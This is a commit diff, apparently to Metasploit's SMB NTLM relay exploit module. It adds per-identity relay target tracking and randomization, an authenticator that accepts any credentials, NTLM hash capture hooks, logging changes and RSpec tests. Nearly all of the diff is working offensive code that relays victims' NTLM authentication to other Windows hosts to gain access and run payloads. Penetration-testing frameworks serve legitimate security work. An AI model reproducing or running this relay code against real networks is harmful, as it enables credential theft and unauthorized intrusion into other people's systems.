Add smarter targetlist support
This commit is contained in:
@@ -23,7 +23,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
server_client = Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient.new(
|
||||
self,
|
||||
RubySMB::Dispatcher::Socket.new(sock),
|
||||
relay_targets: TargetList.new(@relay_targets),
|
||||
relay_targets: @relay_targets,
|
||||
relay_timeout: @relay_timeout,
|
||||
listener: @listener,
|
||||
)
|
||||
@@ -32,7 +32,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
logger.info("starting thread for connection")
|
||||
server_client.run
|
||||
rescue => e
|
||||
print_error "#{e.message}"
|
||||
logger.print_error "#{e.message}"
|
||||
elog(e)
|
||||
end
|
||||
logger.info("ending thread for connection")
|
||||
@@ -57,38 +57,4 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Target
|
||||
def initialize(ip, port, protocol)
|
||||
raise ArgumentError if ip.nil? || port.nil? || protocol.nil?
|
||||
|
||||
@ip = ip
|
||||
@port = port
|
||||
@protocol = protocol
|
||||
end
|
||||
|
||||
attr_reader :ip, :port, :protocol
|
||||
end
|
||||
|
||||
# A thread safe target list. The provided targets will be iterated over via the {next} method.
|
||||
class TargetList
|
||||
include MonitorMixin
|
||||
|
||||
# @param [Array<String>] targets
|
||||
def initialize(targets)
|
||||
super()
|
||||
@walker = Rex::Socket::RangeWalker.new(targets)
|
||||
end
|
||||
|
||||
# Return the next available target, or nil
|
||||
def next
|
||||
synchronize do
|
||||
next_ip = @walker.next_ip
|
||||
return nil if next_ip.nil?
|
||||
|
||||
# TODO: Confirm HTTP relay semantics
|
||||
Target.new(next_ip, 445, :smb)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,6 +7,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
# The NT Status that will cause a client to reattempt authentication
|
||||
FORCE_RETRY_SESSION_SETUP = ::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED
|
||||
|
||||
# @param [Msf::Exploit::Remote::SMB::Relay::TargetList] relay_targets Relay targets
|
||||
# @param [Object] listener A listener that can receive on_relay_success/on_relay_failure events
|
||||
def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
|
||||
super(server, dispatcher)
|
||||
|
||||
@@ -17,25 +19,28 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
end
|
||||
|
||||
def do_tree_connect_smb2(request, session)
|
||||
logger.info("relaying to next target")
|
||||
logger.print_status("Received request for #{session.metadata[:identity]}")
|
||||
|
||||
# Attempt to select the next target to relay to
|
||||
session.metadata[:relay_target] = @relay_targets.next
|
||||
session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity])
|
||||
# If there's no more targets to relay to, just tree connect to the currently running server instead
|
||||
if session.metadata[:relay_target].nil?
|
||||
logger.info("All targets relayed to")
|
||||
logger.print_status("identity: #{session.metadata[:identity]} - All targets relayed to")
|
||||
return super(request, session)
|
||||
end
|
||||
|
||||
logger.info("Relaying to next target #{session.metadata[:relay_target]}")
|
||||
logger.print_status("Relaying to next target #{display_target(session.metadata[:relay_target])}")
|
||||
relayed_connection = create_relay_smb_client(
|
||||
session.metadata[:relay_target],
|
||||
@relay_timeout
|
||||
)
|
||||
|
||||
return nil if relayed_connection.nil?
|
||||
if relayed_connection.nil?
|
||||
@relay_targets.on_relay_end(target, identity: session.metadata[:identity], is_success: false)
|
||||
end
|
||||
|
||||
session.metadata[:relayed_connection] = relayed_connection
|
||||
session.metadata[:relay_mode] = true
|
||||
session.metadata[:relayed_connection] = relayed_connection
|
||||
session.state = :in_progress
|
||||
|
||||
response = RubySMB::SMB2::Packet::TreeConnectResponse.new
|
||||
@@ -60,8 +65,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
end
|
||||
|
||||
# Perform a normal setup flow with ruby_smb
|
||||
if !session&.metadata[:relay_mode]
|
||||
unless session&.metadata[:relay_mode]
|
||||
response = super
|
||||
session.metadata[:identity] = session.user_id
|
||||
|
||||
# TODO: Remove guest flag
|
||||
return response
|
||||
end
|
||||
@@ -138,14 +145,21 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
|
||||
resp = relayed_connection.send_auth_attempt(incoming_security_buffer)
|
||||
|
||||
if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
logger.debug("Successfully authenticated against relay target")
|
||||
is_success = resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
@relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)
|
||||
|
||||
if is_success
|
||||
logger.print_good("identity: #{session.metadata[:identity]} - Successfully authenticated against relay target #{display_target(relayed_connection.target)}")
|
||||
session.metadata[:incoming_challenge_response] = ntlm_message
|
||||
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
|
||||
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
|
||||
session.metadata[:identity] = "#{domain}\\#{user}"
|
||||
|
||||
@listener.on_ntlm_type3(
|
||||
address: relayed_connection.target.ip,
|
||||
ntlm_type1: session.metadata[:incoming_negotiate_message],
|
||||
ntlm_type2: session.metadata[:relay_target_server_challenge],
|
||||
ntlm_type3: ntlm_message
|
||||
ntlm_type3: session.metadata[:incoming_challenge_response]
|
||||
)
|
||||
@listener.on_relay_success(relay_connection: relayed_connection)
|
||||
else
|
||||
@@ -153,10 +167,10 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
relayed_connection.disconnect!
|
||||
|
||||
if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
||||
logger.error("Relay failed due to client authentication details not matching any account on target server #{relayed_connection.target.ip}.")
|
||||
logger.print_warning("identity: #{session.metadata[:identity]} - Relay failed due to client authentication details not matching any account on target server #{display_target(relayed_connection.target)}")
|
||||
else
|
||||
error_code = WindowsError::NTStatus.find_by_retval(resp.smb2_header.nt_status.value)
|
||||
logger.error("Relay against target #{relayed_connection.target.ip} failed with unexpected error:\n#{error_code.name}: #{error_code.description}")
|
||||
logger.print_warning("identity: #{session.metadata[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{error_code.name}: #{error_code.description}")
|
||||
end
|
||||
|
||||
session.metadata.delete(:relay_mode)
|
||||
@@ -193,16 +207,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
|
||||
client
|
||||
rescue ::Rex::ConnectionTimeout => e
|
||||
msg = "Timeout error retrieving server challenge from target #{target.ip}:#{target.port}. Most likely caused by unresponsive target."
|
||||
msg = "Timeout error retrieving server challenge from target #{display_target(target)}. Most likely caused by unresponsive target"
|
||||
elog(msg, error: e)
|
||||
print_warning msg
|
||||
logger.print_error msg
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
msg = "Unable to create relay to #{target.ip}:#{target.port}"
|
||||
msg = "Unable to create relay to #{display_target(target)}"
|
||||
elog(msg, error: e)
|
||||
print_warning msg
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def display_target(target)
|
||||
"#{target.protocol}://#{target.ip}:#{target.port}"
|
||||
end
|
||||
end
|
||||
|
||||
# The SMB Client for interacting with the relayed_target
|
||||
@@ -291,9 +311,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
# @os_version = extract_os_version(server_type2_message.os_version.to_s) unless server_type2_message.os_version.empty?
|
||||
end
|
||||
rescue ::Exception => e
|
||||
msg = "Unable to retrieve server challenge at #{self.target.ip}:#{self.target.port}"
|
||||
msg = "Unable to retrieve server challenge at #{display_target(target)}"
|
||||
elog(msg, error: e)
|
||||
print_warning msg
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
@@ -326,9 +346,9 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
response
|
||||
end
|
||||
rescue ::Exception => e
|
||||
msg = "Unable to authenticate to target #{self.target.ip}:#{self.target.port} via relay."
|
||||
msg = "Unable to authenticate to target #{display_target(target)} via relay"
|
||||
elog(msg, error: e)
|
||||
print_warning msg
|
||||
logger.error msg
|
||||
end
|
||||
|
||||
def normalize_type3_encoding(type3_msg)
|
||||
@@ -336,5 +356,11 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
end
|
||||
|
||||
alias :connect :tree_connect
|
||||
|
||||
protected
|
||||
|
||||
def display_target(target)
|
||||
"#{target.protocol}://#{target.ip}:#{target.port}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -2,11 +2,43 @@ module Msf::Exploit::Remote::SMB::Relay::Provider
|
||||
# An override for the default RubySMB NTLM Authenticator to always grant access,
|
||||
# regardless of the provided credentials
|
||||
class AlwaysGrantAccessAuthenticator < ::RubySMB::Gss::Provider::NTLM::Authenticator
|
||||
GssResult = Struct.new(:buffer, :nt_status, :identity)
|
||||
|
||||
def process_ntlm_type3(type3_msg)
|
||||
dbg_string = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}"
|
||||
logger.info("NTLM authentication request overridden to succeed for #{dbg_string}")
|
||||
|
||||
# Override the ntlm type3 validation as the current implementation of the
|
||||
# parent class validates user accounts, and doesn't support logging in without valid creds
|
||||
::WindowsError::NTStatus::STATUS_SUCCESS
|
||||
end
|
||||
|
||||
# take the GSS blob, extract the NTLM type 3 message and pass it to the process method to build the response
|
||||
# which is then put back into a new GSS reply-blob
|
||||
def process_gss_type3(gss_api)
|
||||
parent_result = super
|
||||
|
||||
neg_token_init = Hash[::RubySMB::Gss.asn1dig(gss_api, 0).value.map { |obj| [obj.tag, obj.value[0].value] }]
|
||||
raw_type3_msg = neg_token_init[2]
|
||||
|
||||
type3_msg = Net::NTLM::Message.parse(raw_type3_msg)
|
||||
if type3_msg.flag & ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE] == ::RubySMB::Gss::Provider::NTLM::NEGOTIATE_FLAGS[:UNICODE]
|
||||
type3_msg.domain.force_encoding('UTF-16LE')
|
||||
type3_msg.user.force_encoding('UTF-16LE')
|
||||
type3_msg.workstation.force_encoding('UTF-16LE')
|
||||
identity = "#{type3_msg.domain.encode(''.encoding)}\\#{type3_msg.user.encode(''.encoding)}"
|
||||
else
|
||||
identity = nil
|
||||
end
|
||||
|
||||
GssResult.new(
|
||||
parent_result.buffer,
|
||||
parent_result.nt_status,
|
||||
# Note: The identity is overridden from the parent implementation
|
||||
# as the parent class will not @account configuration for arbitrary users. It will now be set as domain\user
|
||||
identity
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
require 'rex/socket'
|
||||
|
||||
module Msf::Exploit::Remote::SMB::Relay
|
||||
# A thread safe target list. The provided targets will be iterated over via the {next} method.
|
||||
class TargetList
|
||||
include MonitorMixin
|
||||
|
||||
# @param [String] targets
|
||||
def initialize(targets, randomize_targets: true)
|
||||
super()
|
||||
|
||||
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip|
|
||||
Target.new(
|
||||
ip: target_ip,
|
||||
port: 445,
|
||||
protocol: :smb
|
||||
)
|
||||
end
|
||||
@targets = randomize_targets ? targets.shuffle : targets
|
||||
end
|
||||
|
||||
# Return the next available target, or nil if the identity has been relayed against all targets
|
||||
# @param [String,nil] identity The identity, i.e. domain/user, if available
|
||||
# @return [Target,nil] The next target for the given identity with the least amount of relay attempts. Or nil if all targets have been relayed to for that identity
|
||||
def next(identity)
|
||||
synchronize do
|
||||
next_target = next_target_for(identity)
|
||||
return nil if next_target.nil?
|
||||
|
||||
next_target.on_relay_start(identity)
|
||||
next_target
|
||||
end
|
||||
end
|
||||
|
||||
# Updates tracking to mark a host as being successfully relayed or not
|
||||
# @param [Msf::Exploit::Remote::SMB::Relay::Target] target The target that was successfully relayed or not
|
||||
# @param [String] identity the identity which was used as part of relaying
|
||||
# @param [TrueClass|FalseClass] is_success True when this identity was successfully relayed to the target, false otherwise
|
||||
def on_relay_end(target, identity:, is_success:)
|
||||
synchronize do
|
||||
target.on_relay_end(identity: identity, is_success: is_success)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @param [Object] identity The identity that will be used during the relay process
|
||||
# @return [Enumerator<Object>] All targets that have not yet successfully been relayed to a target based on the given identity
|
||||
def next_target_for(identity)
|
||||
# Choose the next target that hasn't been relayed to yet, and has the least retry attempts - in order to try and
|
||||
# round robin requests to each host
|
||||
next_target = @targets.select { |target| target.eligible_relay_target?(identity) }
|
||||
.min_by { |target| target.relay_attempts_for(identity) }
|
||||
|
||||
next_target
|
||||
end
|
||||
end
|
||||
|
||||
class Target
|
||||
def initialize(ip:, port:, protocol:)
|
||||
@ip = ip
|
||||
@port = port
|
||||
@protocol = protocol
|
||||
@relay_state = Hash.new do |hash, identity|
|
||||
hash[identity] = {
|
||||
relay_status: nil,
|
||||
relay_attempted_at: nil,
|
||||
relayed_at: nil,
|
||||
relay_attempts: 0
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :ip, :port, :protocol
|
||||
|
||||
def eligible_relay_target?(identity)
|
||||
return true if identity.nil?
|
||||
|
||||
relay_data = relay_data_for(identity)
|
||||
relay_data[:relay_status].nil? || relay_data[:relay_status] == :failed
|
||||
end
|
||||
|
||||
def relay_attempts_for(identity)
|
||||
relay_data = relay_data_for(identity)
|
||||
relay_data[:relay_attempts]
|
||||
end
|
||||
|
||||
def on_relay_start(identity)
|
||||
relay_data = relay_data_for(identity)
|
||||
relay_data[:relay_attempts] += 1
|
||||
relay_data[:relay_attempted_at] = Time.now
|
||||
relay_data[:relay_status] = :attempting
|
||||
end
|
||||
|
||||
def on_relay_end(identity:, is_success:)
|
||||
relay_data = relay_data_for(identity)
|
||||
if is_success
|
||||
relay_data[:relay_status] = :success
|
||||
relay_data[:relayed_at] = Time.now
|
||||
else
|
||||
relay_data[:relay_status] = :failed
|
||||
end
|
||||
end
|
||||
|
||||
def to_h
|
||||
{ ip: ip, port: port, protocol: protocol, relay_state: @relay_state }
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def relay_data_for(username)
|
||||
@relay_state[username]
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -35,8 +35,8 @@ module Msf
|
||||
ntlm_message = ntlm_type3
|
||||
hash_type = nil
|
||||
|
||||
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
|
||||
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
|
||||
user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(''.encoding)
|
||||
challenge = [ntlm_type2.challenge].pack('Q<')
|
||||
combined_hash = "#{user}::#{domain}"
|
||||
|
||||
|
||||
@@ -130,6 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
|
||||
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
|
||||
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
|
||||
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
|
||||
@@ -139,33 +140,100 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
deregister_options('RPORT', 'RHOSTS', 'SMBPass', 'SMBUser')
|
||||
end
|
||||
|
||||
# Log devices to be used with Ruby's default Logging
|
||||
module LogDevice
|
||||
# Logs using the default framework logging mechanism
|
||||
class Framework
|
||||
def write(message)
|
||||
rlog(message)
|
||||
module RubySmbAdapter
|
||||
module Logging
|
||||
# API inherited from ::Rex::Ui::Output, but as it is a class - it can not be included as a mixin
|
||||
class Logger < ::Logger
|
||||
def initialize(mod, log_device)
|
||||
super(log_device)
|
||||
@mod = mod
|
||||
end
|
||||
|
||||
#
|
||||
# Prints an error message.
|
||||
#
|
||||
def print_error(msg = '')
|
||||
@mod.print_error(msg)
|
||||
end
|
||||
|
||||
alias print_bad print_error
|
||||
|
||||
#
|
||||
# Prints a 'good' message.
|
||||
#
|
||||
def print_good(msg = '')
|
||||
@mod.print_good(msg)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a status line.
|
||||
#
|
||||
def print_status(msg = '')
|
||||
@mod.print_status(msg)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints an undecorated line of information.
|
||||
#
|
||||
def print_line(msg = '')
|
||||
@mod.print_line(msg)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a warning
|
||||
#
|
||||
def print_warning(msg = '')
|
||||
@mod.print_warning(msg)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a message with no decoration.
|
||||
#
|
||||
def print(msg = '')
|
||||
@mod.print(msg)
|
||||
end
|
||||
end
|
||||
|
||||
def close
|
||||
# noop
|
||||
# Log devices to be used with Ruby's default Logging
|
||||
module LogDevice
|
||||
# Logs using the default framework logging mechanism
|
||||
class Framework
|
||||
def initialize(_framework)
|
||||
# Note that the framework instance is not technically required as {rlog} is global
|
||||
# it's just an attempt at future proofing the API
|
||||
# @framework = framework
|
||||
end
|
||||
|
||||
def write(message)
|
||||
rlog(message)
|
||||
end
|
||||
|
||||
def close
|
||||
# noop
|
||||
end
|
||||
end
|
||||
|
||||
# Logs using the provided module
|
||||
class Module
|
||||
def initialize(mod)
|
||||
@mod = mod
|
||||
end
|
||||
|
||||
def write(message)
|
||||
@mod.print(message)
|
||||
end
|
||||
|
||||
def close
|
||||
# noop
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Logs using the provided module
|
||||
class Module
|
||||
def initialize(mod)
|
||||
@mod = mod
|
||||
end
|
||||
|
||||
def write(message)
|
||||
@mod.print(message)
|
||||
end
|
||||
|
||||
def close
|
||||
# noop
|
||||
end
|
||||
end
|
||||
def smb_logger
|
||||
log_device = datastore['VERBOSE'] ? RubySmbAdapter::Logging::LogDevice::Module.new(self) : RubySmbAdapter::Logging::LogDevice::Framework.new(framework)
|
||||
RubySmbAdapter::Logging::Logger.new(self, log_device)
|
||||
end
|
||||
|
||||
class SMBRelayServer
|
||||
@@ -223,6 +291,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
attr_accessor :listener_sock, :listener_thread
|
||||
|
||||
def self.sock_options_for(options)
|
||||
{
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 445
|
||||
}.merge(options[:socket])
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def sock_options
|
||||
@@ -232,13 +307,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def smb_server_options(listener_sock)
|
||||
{ server_sock: listener_sock }.merge(@options[:smb_server])
|
||||
end
|
||||
|
||||
def self.sock_options_for(options)
|
||||
{
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 445
|
||||
}.merge(options[:socket])
|
||||
end
|
||||
end
|
||||
|
||||
def start_service(_opts = {})
|
||||
@@ -254,8 +322,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
validate_smb_hash_capture_datastore(datastore, ntlm_provider)
|
||||
|
||||
log_device = datastore['VERBOSE'] ? LogDevice::Module.new(self) : LogDevice::Framework.new
|
||||
|
||||
comm = _determine_server_comm(datastore['SRVHOST'])
|
||||
print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
|
||||
@service = Rex::ServiceManager.start(
|
||||
@@ -274,8 +340,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
smb_server: {
|
||||
gss_provider: ntlm_provider,
|
||||
logger: ::Logger.new(log_device),
|
||||
relay_targets: datastore['SMBHOST'],
|
||||
logger: smb_logger,
|
||||
relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['SMBHOST'], randomize_targets: datastore['RANDOMIZE_TARGETS']),
|
||||
listener: self,
|
||||
relay_timeout: datastore['RELAY_TIMEOUT'],
|
||||
thread_manager: framework.threads
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
require 'rspec'
|
||||
require 'msf/core/exploit/remote/smb/relay/target_list'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::SMB::Relay::TargetList do
|
||||
let(:subject) { described_class.new '192.0.2.1 192.0.2.2 192.0.2.3', randomize_targets: false }
|
||||
let(:user_one) { 'domain/one' }
|
||||
let(:user_two) { 'domain/two' }
|
||||
|
||||
describe '#next' do
|
||||
context 'when no targets have successfully been relayed to' do
|
||||
it 'indefinitely cycles through available targets when there is no identifier provided' do
|
||||
3.times do
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
end
|
||||
end
|
||||
|
||||
it 'cycles through available targets when there is an identifier provided until all relays are in progress' do
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
# All relay attempts are in progress, don't return a host
|
||||
expect(subject.next(user_one)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when targets have successfully been relayed to' do
|
||||
before(:each) do
|
||||
first_target = subject.next(user_one)
|
||||
expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(first_target, identity: user_one, is_success: true)
|
||||
end
|
||||
|
||||
it 'no longer returns resolved hosts for a previously successfully relayed identity' do
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
# All relay attempts are inflight, don't return a host
|
||||
expect(subject.next(user_one)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns the next host to target with a nil identity' do
|
||||
3.times do
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(nil).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
end
|
||||
end
|
||||
|
||||
it 'returns hosts that have not yet been relayed to for a new identifier' do
|
||||
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_two).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
# All relay attempts are inflight, don't return a host
|
||||
expect(subject.next(user_two)).to be_nil
|
||||
end
|
||||
|
||||
it 'no returns targets were if they were unsuccessfully relayed to' do
|
||||
3.times do
|
||||
second_target = subject.next(user_one)
|
||||
expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(second_target, identity: user_one, is_success: false)
|
||||
|
||||
third_target = subject.next(user_one)
|
||||
expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(third_target, identity: user_one, is_success: false)
|
||||
end
|
||||
end
|
||||
|
||||
it 'no longer returns a target if all targets were successfully relayed to that identity' do
|
||||
second_target = subject.next(user_one)
|
||||
expect(second_target.to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(second_target, identity: user_one, is_success: true)
|
||||
|
||||
third_target = subject.next(user_one)
|
||||
expect(third_target.to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(third_target, identity: user_one, is_success: true)
|
||||
|
||||
expect(subject.next(user_one)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a target fails being relayed' do
|
||||
before(:each) do
|
||||
first_target = subject.next(user_one)
|
||||
expect(first_target.to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
subject.on_relay_end(first_target, identity: user_one, is_success: false)
|
||||
end
|
||||
|
||||
it 'can return the same host for the same identity again in the future' do
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.2', port: 445, protocol: :smb })
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.3', port: 445, protocol: :smb })
|
||||
# The host can be tried again
|
||||
expect(subject.next(user_one).to_h).to include({ ip: '192.0.2.1', port: 445, protocol: :smb })
|
||||
# But the first two hosts are now inflight, and can't be relayed to yet - nil is returned
|
||||
expect(subject.next(user_one)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user